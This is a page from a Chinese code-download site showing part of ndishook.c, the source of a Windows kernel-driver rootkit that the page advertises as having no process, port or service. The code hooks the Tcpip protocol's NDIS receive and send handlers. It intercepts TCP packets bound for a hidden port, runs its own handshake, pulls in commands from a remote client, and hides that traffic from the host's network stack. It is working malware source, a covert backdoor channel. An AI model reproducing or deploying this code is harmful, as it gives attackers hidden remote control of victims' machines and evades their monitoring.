⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ndishook.c

📁 一个驱动上实现 无进程 无端口 无服务的简单rootkit
💻 C
📖 第 1 页 / 共 4 页
字号:

	memset(&ourNPC,0,sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
	len = sizeof(NDIS_PROTOCOL_CHARACTERISTICS);
	ourNPC.MajorNdisVersion = 0x05;
	ourNPC.MinorNdisVersion	= 0x00;

	ourNPC.Name							= protoNAme;
	ourNPC.OpenAdapterCompleteHandler	= PtOpenAdApterComplete;
	ourNPC.CloseAdapterCompleteHandler	= PtCloseAdApterComplete;
	ourNPC.SendCompleteHandler			= PtSendComplete;
	ourNPC.TransferDataCompleteHandler	= PtTrAnsferDAtAComplete;
	ourNPC.ResetCompleteHandler			= PtResetComplete;
	ourNPC.RequestCompleteHandler		= PtRequestComplete;
	ourNPC.ReceiveHandler				= PtReceive;
	ourNPC.ReceiveCompleteHandler		= PtReceiveComplete;
	ourNPC.StatusHandler				= PtStAtus;
	ourNPC.StatusCompleteHandler		= PtStAtusComplete;
	ourNPC.BindAdapterHandler			= PtBindAdApter;
	ourNPC.UnbindAdapterHandler			= PtUnbindAdApter;
	ourNPC.UnloadHandler				= NULL;//PtUnloAd;
	ourNPC.ReceivePacketHandler			= PtReceivePAcket;
	ourNPC.PnPEventHandler				= PtPNPHAndler;

	NdisRegisterProtocol(&StAtus,&ourProtocolHAndle,&ourNPC,len);
	if(!NT_SUCCESS(StAtus) || ourProtocolHAndle == NULL){
		return FALSE;
	}

	//NdisRegisterProtocol  return hAnd reference of NDIS_PROTOCOL_BLOCK;
	ProtocolChAin = (CHAR*)ourProtocolHAndle;
	while(1){
		offset = 0x10;
		ProtocolChAin = ((CHAR**)(ProtocolChAin + offset))[0];
		if (ProtocolChAin == NULL){
			break;
		}
		HookFuncBlock(ProtocolChAin);
	}

	NdisDeregisterProtocol(&StAtus,ourProtocolHAndle);

	return TRUE;
}
//--------------------------------------------------------------------
VOID HookFuncBlock(CHAR* ProtocolContent)
{
	PNDIS_PROTOCOL_CHARACTERISTICS	pProChAr;
	NDIS_STRING	TcpipString	= NDIS_STRING_CONST("Tcpip");
	if(ProtocolContent == NULL){
		return;
	}
	pProChAr = (PNDIS_PROTOCOL_CHARACTERISTICS)(ProtocolContent + 0x14);
	if(KeGetCurrentIrql() == PASSIVE_LEVEL){
		if(RtlCompareUnicodeString(&pProChAr->Name,&TcpipString,TRUE) != 0){
			return;
		}
	}
	HookNdisFunc(HookProtocolReceive,(PVOID*)&pProChAr->ReceiveHandler,NULL,ProtocolContent);
	HookNdisFunc(HookProtocolReceivePAcket,(PVOID*)&pProChAr->ReceivePacketHandler,NULL,ProtocolContent);
	//HookNdisFunc(HookBindAdApterHAndler,(PVOID*)&pProChAr->BindAdapterHandler,NULL,ProtocolContent);
	HookNdisFunc(HookProtocolSendComplete,(PVOID*)&pProChAr->SendCompleteHandler,NULL,ProtocolContent);

	//just cAre About ndis 5
	if(1/*m_dwMajorVersion == 0x05*/){
		PNDIS_OPEN_BLOCK	pNdisOpenBlock;
		pNdisOpenBlock = ((PNDIS_OPEN_BLOCK*)ProtocolContent)[0];


		while(pNdisOpenBlock){
			//HookNdisFunc(HookProtocolSend,(PVOID*)&pNdisOpenBlock->SendHandler,pNdisOpenBlock,ProtocolContent);
			//HookNdisFunc(HookProtocolReceive,(PVOID*)&pNdisOpenBlock->PostNt32ReceiveHandlerHandler,pNdisOpenBlock,ProtocolContent);

			HookNdisFunc(HookProtocolReceive,(PVOID*)&pNdisOpenBlock->ReceiveHandler,pNdisOpenBlock,ProtocolContent);
			HookNdisFunc(HookProtocolReceivePAcket,(PVOID*)&pNdisOpenBlock->ReceivePacketHandler,pNdisOpenBlock,ProtocolContent);
			HookNdisFunc(HookProtocolSendComplete,(VOID*)&pNdisOpenBlock->SendCompleteHandler,pNdisOpenBlock,ProtocolContent);
			//HookNdisFunc(HookProtocolSendPAckets,(PVOID*)&pNdisOpenBlock->SendPacketsHandler,pNdisOpenBlock,ProtocolContent);
			pNdisOpenBlock = pNdisOpenBlock->ProtocolNextOpen;
		}
	}
	return;
}
//--------------------------------------------------------------------
HOOK_CONTEXT_STRUCT	*HookNdisFunc(PVOID pHookProc,PVOID *ppOrigProc,PVOID pBindAdAptHAndle,PVOID pProtocolContent)
{
	HOOK_CONTEXT_STRUCT	*pHookContext;
	PVOID	OrgFunc;

	pHookContext = IsHookedNdisFunc(ppOrigProc[0]);
	if(pHookContext){
		OrgFunc = pHookContext->m_pOriginalProc;
	}
	else{
		OrgFunc = ppOrigProc[0];
	}
	if (OrgFunc == NULL){
		return NULL;
	}

	pHookContext = IsHookedNdisFuncEx(ppOrigProc);
	if(pHookContext){
		return pHookContext;
	}

	NdisAllocateMemoryWithTag(&pHookContext,sizeof(HOOK_CONTEXT_STRUCT),'ytaU');
	if(pHookContext == NULL){
		return NULL;
	}
	memset(pHookContext,0,sizeof(HOOK_CONTEXT_STRUCT));

	pHookContext->code1_0x58 = 0x58;
	pHookContext->code2_0x68 = 0x68;
	pHookContext->code3_0x50 = 0x50;
	pHookContext->code4_0xE9 = 0xE9;

	pHookContext->m_pHookContext		= pHookContext;
	pHookContext->m_pHookProcOffset		= ((ULONG)pHookProc) - (((ULONG)&pHookContext->m_pHookProcOffset) + sizeof(ULONG));
	pHookContext->m_pBindAdaptHandle	= pBindAdAptHAndle;
	pHookContext->m_pProtocolContent	= pProtocolContent;
	pHookContext->m_pOriginalProc		= OrgFunc;
	pHookContext->m_ppOriginPtr			= ppOrigProc;
	pHookContext->m_pHookProc			= pHookProc;
	pHookContext->m_pHookNext			= m_pOurAllOfHookContext;
	m_pOurAllOfHookContext				= pHookContext;

	ppOrigProc[0] = pHookContext;

	return pHookContext;
}
//--------------------------------------------------------------------
HOOK_CONTEXT_STRUCT* IsHookedNdisFunc(PVOID pAddr)
{
	HOOK_CONTEXT_STRUCT	*pHookContext;
	pHookContext	= m_pOurAllOfHookContext;
	while(pHookContext){
		if(pHookContext == pAddr){
			break;
		}
		pHookContext = pHookContext->m_pHookNext;
	}
	return pHookContext;
}
//--------------------------------------------------------------------
HOOK_CONTEXT_STRUCT* IsHookedNdisFuncEx(PVOID	*pAddr)
{
	HOOK_CONTEXT_STRUCT	*pHookContext;
	pHookContext	= m_pOurAllOfHookContext;
	while(pHookContext){
		if(pHookContext->m_ppOriginPtr == pAddr){
			break;
		}
		pHookContext = pHookContext->m_pHookNext;
	}
	return pHookContext;
}
//--------------------------------------------------------------------
NDIS_STATUS	
HookProtocolReceive(
	IN	HOOK_CONTEXT_STRUCT	*pOurContext,
	IN	NDIS_HANDLE			ProtocolBindingContext,
	IN	NDIS_HANDLE			MAcReceiveContext,
	IN	PVOID				HeAderBuffer,
	IN	UINT				HeAderBufferSize,
	IN	PVOID				LookAheAdBuffer,
	IN	UINT				LookAheAdBufferSize,
	IN	UINT				PAcketSize
	)
{
	NTSTATUS	stAtus = NDIS_STATUS_SUCCESS;
	ULONG		result = FALSE;
	//DbgPrint("in HookProtocolReceive\n");
	if(pOurContext){
		if(pOurContext->m_pBindAdaptHandle){
			ULONG	len = 0;
			if(PAcketSize > LookAheAdBufferSize){
				NdisTransferData(
					&stAtus,
					pOurContext->m_pBindAdaptHandle,
					MAcReceiveContext,
					0,
					PAcketSize,
					m_ourPAcketHAndle,
					&len
					);
			}
			else{
				NdisMoveMemory(m_ourBuffer,LookAheAdBuffer,PAcketSize);
			}
			if(stAtus == NDIS_STATUS_SUCCESS){
				//do whAt we wAnt here
				//equAl to HookFilterPAcket()
				result = HAndleReceivePAcket(
					pOurContext,
					PAcketSize,
					HeAderBuffer,
					HeAderBufferSize,
					m_ourPAcketHAndle
					);
			}
			else if(stAtus == NDIS_STATUS_PENDING){
				//这里回出问题,如果这个包被送回,连接就会被上面的protocol中断
				//1.把包丢掉,这样其他正常的tcp连接希望他们会重传而不再经过这里
				//2.把包传下去,这样我们的连接被中断
				//暂时选2
				result = FALSE;
			}
			if(result){
				return NDIS_STATUS_NOT_ACCEPTED;
			}
			else{
				stAtus = ((RECEIVE_HANDLER)pOurContext->m_pOriginalProc)(
					ProtocolBindingContext,
					MAcReceiveContext,
					HeAderBuffer,
					HeAderBufferSize,
					LookAheAdBuffer,
					LookAheAdBufferSize,
					PAcketSize
					);
			}//end else
		}
	}
	return stAtus;
}
//--------------------------------------------------------------------
INT
HookProtocolReceivePAcket(
	IN	HOOK_CONTEXT_STRUCT	*pOurContext,
	IN	NDIS_HANDLE			ProtocolBindingContext,
	IN	PNDIS_PACKET		PAcket
	)
{
	NTSTATUS	stAtus = NDIS_STATUS_SUCCESS;
	ULONG		result;
	//DbgPrint("in HookProtocolReceivePAcket\n");
	if(pOurContext){
		//most of opeAtions we do in HAndlePAcket
		result = HAndlePAcket(pOurContext,PAcket);
		if(result){
			return NDIS_STATUS_NOT_ACCEPTED;
		}
		else{
			stAtus = ((RECEIVE_PACKET_HANDLER)pOurContext->m_pOriginalProc)(
				ProtocolBindingContext,
				PAcket
				);
		}
	}
	return stAtus;
}
//--------------------------------------------------------------------
ULONG HAndlePAcket(HOOK_CONTEXT_STRUCT *pOurContext,PNDIS_PACKET pPAcket)
{
	ULONG			PAcketSize;
	PVOID			pBuffer = NULL;
	NTSTATUS		stAtus;
	ULONG			result = TRUE;
	PNDIS_BUFFER	firstBuffer,nextBuffer;

	NdisQueryPacket(pPAcket,NULL,NULL,NULL,&PAcketSize);
	if(PAcketSize < sizeof(ETHHDR)){
		return TRUE;
	}
	stAtus = NdisAllocateMemoryWithTag(&pBuffer,PAcketSize,'ytaU');
	if(stAtus != NDIS_STATUS_SUCCESS || pBuffer == NULL){
		return TRUE;
	}
	ReAdPAcket(pPAcket,pBuffer,PAcketSize);
	//get the pAcket's buffer
	result = HAndleBuffer(pOurContext,pBuffer,PAcketSize);

	NdisFreeMemory(pBuffer,PAcketSize,0);
	return result;
}
//--------------------------------------------------------------------
VOID ReAdPAcket(PNDIS_PACKET PAcket,PVOID pBuffer,ULONG ulBufSize)
{
	PVOID			virtuAlAddress;
	PNDIS_BUFFER	firstBuffer,nextBuffer;
	ULONG			totAlLength;
	ULONG			len;
	PVOID			pBuf	= NULL;
	ULONG			count	= 0;

	NdisQueryPacket(PAcket,NULL,NULL,&firstBuffer,NULL);
	while(firstBuffer != NULL){
		NdisQueryBufferSafe(firstBuffer,&virtuAlAddress,&len,NormalPagePriority );
		if(!virtuAlAddress){
			break;
		}
		if(count + len > ulBufSize){
			break;
		}
		NdisMoveMemory(&((CHAR*)pBuffer)[count],virtuAlAddress,len);
		count += len;
		NdisGetNextBuffer(firstBuffer,&nextBuffer);
		firstBuffer = nextBuffer;
	}
	return;
}
//--------------------------------------------------------------------
ULONG HAndleBuffer(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer,ULONG PAcketSize)
{
	NTSTATUS	stAtus;
	//if result is FALSE,then the pAcket will be send to up level,if TRUE,we throw it AwAy
	ULONG		result = FALSE;
	USHORT		proto;
	PETHHDR		pEthHdr = NULL;
	PIPHDR		pIpHdr	= NULL;
	PTCPHDR		pTcpHdr = NULL;

	PTCPS_Connection pConnection;
	ULONG		i;

	pEthHdr = (PETHHDR)pBuffer;
	proto = pEthHdr->h_proto;

	switch(NTOHS(proto))
	{
		case ETH_P_IP:
		{
			pIpHdr = (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));
			//DbgPrint("protocol: %d\n",pIpHdr->protocol);//debug
			if(pIpHdr->protocol == IPPROTO_TCP){
				pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);
				//DbgPrint("from port %d to port %d\n",NTOHS(pTcpHdr->source),NTOHS(pTcpHdr->dest));//debug
				
				if(NTOHS(pTcpHdr->dest) != OURPORT){
					return FALSE;
				}
				else{
					/*
					//本来想在这里建立出错重传的,,不过还是算了,,
					USHORT	Checksum;
					Checksum = CountChecksum(pBuffer);
					
					if(Checksum != pTcpHdr->check){
						if(pTcpHdr->syn){
							//do nothing
							//return FALSE;
						}
						else{
							//resend(); 重传下sendlist里的包,不知道这样行不行? debug
							KeSetEvent(
								g_puSendEvent,
								0,
								FALSE
								);
							return TRUE;
						}
					}
					*/

					//if the received Ack,seq is not whAt we expected,then ignore it,if it's syn or rst pAcket,we do nothing
					if (!pTcpHdr->syn && !pTcpHdr->rst){
						for(i = 0;i < MAX_CONNECTIONS;i ++){
							//通过ip和源端口判断是哪个连接
							//see which connection this pAcket belongs to
							if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source 
								&& g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr
								)
							{
								pConnection = &g_ConnectionSpAce[i];
								DbgPrint("expected seq %d\nexpected Ack %d\n",NTOHL(pConnection->m_ExpectedSeq),NTOHL(pConnection->m_ExpectedAck_seq));
								DbgPrint("received seq %d\nreceived Ack %d\n",NTOHL(pTcpHdr->seq),NTOHL(pTcpHdr->ack_seq));
								if(pTcpHdr->seq != pConnection->m_ExpectedSeq || pTcpHdr->ack_seq != pConnection->m_ExpectedAck_seq){
									return TRUE;
								}
								
							}
						}
						if(pConnection == NULL){
							return TRUE;
						}
					}
					// ////////


					if(pTcpHdr->syn){
						//回SYN ACK
						result = SetConnection(pOurContext,pBuffer);
						//如果SetConnection返回FALSE,表示已经超过最大连接数(32)(可能包括已断的连接未释放connection),不再处理连接请求
						if (result){
							UpDAteConnectionSYN(pOurContext,pBuffer);
							
							//send A pAcket with SYN ACK
							SendSYNACKPAcketToSendList(pOurContext,pBuffer);
							//when set g_puSendEvent to signAled, At the sAme time if sendlist hAve items,then send the first one
							KeSetEvent(
								g_puSendEvent,
								0,
								FALSE
								);							
						}
					}
					else if(pTcpHdr->psh){
						if(pTcpHdr->ack){
							//收到Ack后就该释放上个包
							//when receive the Ack pAcket,meAns the lAst pAcket we send wAs successfully Arrived
							UpDAteConnection(pOurContext,pBuffer);
							//remove lAst pAcket we sent 
							RemoveSendDAtAFromList(&g_SendListHeAd);
							KeSetEvent(
								g_puSendEvent,
								0,
								FALSE
								);
						}
						SendACKPAcketToSendList(pOurContext,pBuffer);
						//mAke the pAcket be sent
						KeSetEvent(
							g_puSendEvent,
							0,
							FALSE
							);
						//GetPAcketDAtA 把得到的数据加入到recvlist
						//we get commAnd from client
						GetPAcketDAtA(pOurContext,pBuffer);

						UpDAteConnection(pOurContext,pBuffer);
						result = TRUE;
					}
					else if(pTcpHdr->fin || pTcpHdr->rst){	
						DbgPrint("received rst or fin\n");
						//
						SendDisconnectMessAgeToSendlist(pOurContext,pBuffer);
						//Disconnect(pOurContext,pBuffer);
						/*
						KeSetEvent(
								g_puSendEvent,
								0,
								FALSE
								);
								*/
						result = TRUE;
					}
					else if(pTcpHdr->ack){
						//when receive the Ack pAcket,meAns the lAst pAcket we send wAs successfully Arrived
						UpDAteConnection(pOurContext,pBuffer);
						RemoveSendDAtAFromList(&g_SendListHeAd);
						KeSetEvent(
							g_puSendEvent,
							0,
							FALSE
							);
						result = TRUE;
					}
				}//end else

			}

		}
		case ETH_P_ARP:
			break;
		case ETH_P_RARP:
			break;
		default:
			break;
	}
	return result;
}
//--------------------------------------------------------------------
VOID
HookProtocolSendComplete(
	IN	HOOK_CONTEXT_STRUCT *pOurContext,
	IN	NDIS_HANDLE		ProtocolBindingContext,
	IN	PNDIS_PACKET	PAcket,
	IN	NDIS_STATUS		StAtus
	)
{
	if(pOurContext){
		NDIS_HANDLE	PoolHAndle = NULL;
		PNDIS_BUFFER	pNdisBuffer = NULL;

		PoolHAndle = NdisGetPoolFromPacket(PAcket);

		if (PoolHAndle == m_ourPAcketPoolHAndle){
			while(1){
				NdisUnchainBufferAtFront(
					PAcket,
					&pNdisBuffer
					);
				if(pNdisBuffer == NULL){
					break;
				}
				else{
					NdisFreeBuffer(pNdisBuffer);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -